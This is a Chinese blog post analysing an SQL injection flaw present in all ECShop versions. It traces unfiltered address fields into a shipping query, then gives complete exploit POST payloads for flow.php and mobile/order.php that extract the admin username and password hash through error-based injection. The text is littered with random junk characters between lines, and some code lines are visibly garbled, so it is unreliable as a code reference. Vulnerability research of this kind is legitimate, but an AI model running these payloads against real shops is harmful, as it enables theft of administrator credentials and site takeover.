ecshop全版本注入分析

admin

前段时间大概2012年圣诞节左右，在t00ls上看见ecshop全版本注入，当时也下载了最新的程序分析了下,最近考试比较忙，今天刚考完，把我分析的记录下来。

# ~! N1 [* e7 o    漏洞关键文件：

    /includes/lib_order.php

, c# b* I4 b2 F3 c4 d0 r3 ^3 S    关键函数：



$ j. W2 K+ [' S01     function available_shipping_list($region_id_list)

- d% x$ Z' t% M+ I: V02 {
% o$ `  c7 v: U: W8 X
7 w9 r( |" X( S# D6 H  E" V8 }03     $sql = 'SELECT s.shipping_id, s.shipping_code, s.shipping_name, ' .

9 O% V3 c. O" u& C8 m: |0 J5 e2 d* e7 _04                 's.shipping_desc, s.insure, s.support_cod, a.configure ' .
3 h( {6 ~- ]8 o, B( x
05             'FROM ' . $GLOBALS['ecs']->table('shipping') . ' AS s, ' .
" u* p7 F4 R  u6 o' g. h( I0 H$ ?4 f
$ G" h5 L3 u7 H: I  @7 q06                 $GLOBALS['ecs']->table('shipping_area') . ' AS a, ' .
1 p  Y7 g# r6 q0 s2 C
07                 $GLOBALS['ecs']->table('area_region') . ' AS r '.
: @* a2 F8 f/ Q! D4 _+ Y. X
08             'WHERE r.region_id ' . db_create_in($region_id_list) .

09             ' AND r.shipping_area_id = a.shipping_area_id AND a.shipping_id = s.shipping_id AND s.enabled = 1 ORDER BY s.shipping_order';
3 L4 v; W/ u( W1 d1 T4 k! ?* Z: G
10   

, N2 ?0 q6 w4 @' c) q) u11     return $GLOBALS['db']->getAll($sql);

1 i( x# L" v9 A  A0 w12 }
  i3 V" J8 w& q4 p% K
4 C1 s# k8 @, j/ N+ @显然对传入的参数没有任何过滤就带入了查询语句。

  \6 l8 |0 U0 F# \下面我们追踪这个函数在flow.php中：
第531行：   
2 w( J( m* R0 j( Y
9 ]. c' {9 }- n3 p3 ^0 t1 $shipping_list     = available_shipping_list($region);
: R9 h7 C# r5 s; x
  q6 M$ x: ^1 O) f! Q
1 e4 S7 g' z  M" W) s


9 m! l: [$ m: [$ E. `6 F再对传入变量进行追踪：

第530行：   
( e' Y9 a5 N0 D$ g7 L! `) k" E
; O/ O1 K3 t9 p! v2 R1 $region = array($consignee['country'], $consignee['province'],$consignee['city'], $consignee['district']);

# l/ [6 b3 Q' s- d5 D



第473行：        
1 Y, d' Y) e9 {+ ]8 h
4 H- t7 L. i3 R1 $consignee = get_consignee($_SESSION['user_id']);

: [/ m. h3 F2 D到了一个关键函数：
% k. Q# j" L, J; L( F3 J  T
/includes/lib_order.php


! Z2 ^" w% J( f! S' }, p+ j2 {% p& j

" p+ }; w0 s" g* ~
01 function get_consignee($user_id)
4 `1 J; R- k  e( l& Z# K
02 {
7 Q) h6 Z* r, c) X1 U
7 m' {- b1 s) I3 G. U* R03     if (isset($_SESSION['flow_consignee']))
: D0 {% [0 ?2 z# l5 V$ l& l
04     {
3 g2 W5 o  M! @3 T" `5 G
: i3 M( q+ J  y: E% W4 r+ A" H05         /* 如果存在session，则直接返回session中的收货人信息 */
: j  m9 C& K$ C- k6 z
06   

07         return $_SESSION['flow_consignee'];
. m1 d6 y1 z8 X2 B5 F# S. a" R
08     }
$ Q8 R. u& Y% j+ ?
09     else

10     {

! s; r3 A' p0 V% r4 b8 w5 Z11         /* 如果不存在，则取得用户的默认收货人信息 */

% }4 g) g1 b+ E2 k9 }12         $arr = array();
" k& z7 y( ?9 v
; Y) d2 C" F9 D; |3 t1 a0 Y13   

9 Y! g. B( f2 g" m3 x$ \: f14         if ($user_id > 0)

15         {
% j" K$ ^- G( r
16             /* 取默认地址 */
7 F1 p. x2 B, n$ \
17             $sql = "SELECT ua.*".
2 I6 Y) |) O$ S  N
$ Y; ^! ^2 z( P1 X# ?9 F18                     " FROM " . $GLOBALS['ecs']->table('user_address') . "AS ua, ".$GLOBALS['ecs']->table('users').' AS u '.

6 r; ]$ Q; @) F/ L19                     " WHERE u.user_id='$user_id' AND ua.address_id = u.address_id";
+ c3 p% i1 Q( Y" K
20   
/ C' t: d. p5 Q: D6 d! [5 B) w* y
, i& x* W, }: b$ l( h7 p21             $arr = $GLOBALS['db']->getRow($sql);
) O) d5 c$ E) {1 U( ?
22         }
  n, a8 j0 r, S" q2 Y
23   

% H" ~. w# t, x, C/ u24         return $arr;

25     }
' W: H: D$ g; N/ _
0 M5 V, ]" M" d26 }

$ v/ J5 i+ t! |. N4 A" s! {显然如果 isset($_SESSION['flow_consignee']存在就直接使用。到底存不存在呢？
: w( B6 i* o3 h- y8 I" I: t6 }
  I; Y: K, s' [' [/ E7 t

关键点:

1 e# v$ w: c* n第400行：    $_SESSION['flow_consignee'] = stripslashes_deep($consignee);
5 p8 f# y# B1 `8 E( k! Z, a
& O9 N% O6 f8 H2 K2 c) n- I" z这里对传入参数反转义存入$_SESSION中。
9 t( z  V; }; P9 J
9 K% ]7 }1 l$ d. s

然后看下：
1 p( N4 L4 M' L


   

01 $consignee = array(
6 y1 a1 t( r0 H1 j1 V& x4 z0 N
02         'address_id'    => empty($_POST['address_id']) ? 0  :intval($_POST['address_id']),

03         'consignee'     => empty($_POST['consignee'])  ? '' : trim($_POST['consignee']),

- x/ {: S) f+ W( T. M04         'country'       => empty($_POST['country'])    ? '' _POST['country'],

05         'province'      => empty($_POST['province'])   ? '' _POST['province'],
' v, u; o% H# J. M( d) ^  c
7 j* m8 I/ h, U1 ]( T06         'city'          => empty($_POST['city'])       ? '' _POST['city'],

07         'district'      => empty($_POST['district'])   ? '' _POST['district'],
$ K4 e8 y/ C: ]1 y
08         'email'         => empty($_POST['email'])      ? '' _POST['email'],

; v. R" a" ], F6 P/ S5 K2 j/ c) M+ @" r4 Y09         'address'       => empty($_POST['address'])    ? '' _POST['address'],

10         'zipcode'       => empty($_POST['zipcode'])    ? '' : make_semiangle(trim($_POST['zipcode'])),
7 H8 ^5 t% F% ^# x* d
11         'tel'           => empty($_POST['tel'])        ? '' : make_semiangle(trim($_POST['tel'])),
# \: ]; H5 P! c& G' q9 f+ r( A
) m# a7 W( M) i4 G' E12         'mobile'        => empty($_POST['mobile'])     ? '' : make_semiangle(trim($_POST['mobile'])),

13         'sign_building' => empty($_POST['sign_building']) ? '' _POST['sign_building'],

  E1 q/ |$ W% j. d3 F' d- F14         'best_time'     => empty($_POST['best_time'])  ? '' _POST['best_time'],
/ F1 N% T* [2 P
* {1 d& b* y/ N; n+ j7 S* S15     );
3 t2 i. g, T: C" z. {
5 q4 F# [1 \, }) ?- X. ]好了注入就这样出现了。
7 I: q- o$ i- O% ]9 ]: V
==================

注入测试：

环境:windows7+xampp1.7.7(Apache2.2.21+Php 5.3.8+Mysql 5.5.16)
3 A/ T# N  o- B* ?. j+ h
测试程序：ECShop_V2.7.3_UTF8_release1106


8 M/ i2 \0 ~6 R% |+ b
1.首先需要点击一个商品加入购物车
: [8 |' j6 F) R7 H
2.注册一个会员帐号

- D. K4 o( a! ^3.post提交数据



  s8 L* k5 D0 x6 p1 http://127.0.0.1/ecshop/flow.php

; d7 t7 F: a5 Y" H2   
; H$ E8 ?6 P1 z2 }# t. c
  a4 W7 U  S+ s& W3 country=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&step=consignee&act=checkout&address_id=
/ z% r8 y% W0 z% N7 E/ a6 T举一反三，我们根据这个漏洞我们可以继续深入挖掘：

我们搜寻关键函数function available_shipping_list()
  W1 U$ P! C% J0 K- B; e( i6 }
在文件/moblie/order.php中出现有，次文件为手机浏览文件功能基本和flow.php相同，代码流程基本相同
8 _, ~( o  ]* [8 y% ~' F1 U7 y
; C* U+ O2 O* I5 E. F利用exp:
; y6 ?. n; R4 ]3 W$ m9 J( x
1.点击一个商品，点击购买商标

2.登录会员帐号

, B, ]6 K, L3 ?& E$ b7 a3.post提交：
; j7 x  N& X! z2 |+ Z
http://127.0.0.1/ecshop/mobile/order.php


# M" g% m1 O. F# v% h6 s
* X* @' @' F2 z. ^' k' n- i$ Kcountry=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&&act=order_lise&address_id=
$ L' B+ j6 |* B2 ?3 N
% L1 u4 e0 x8 u+ p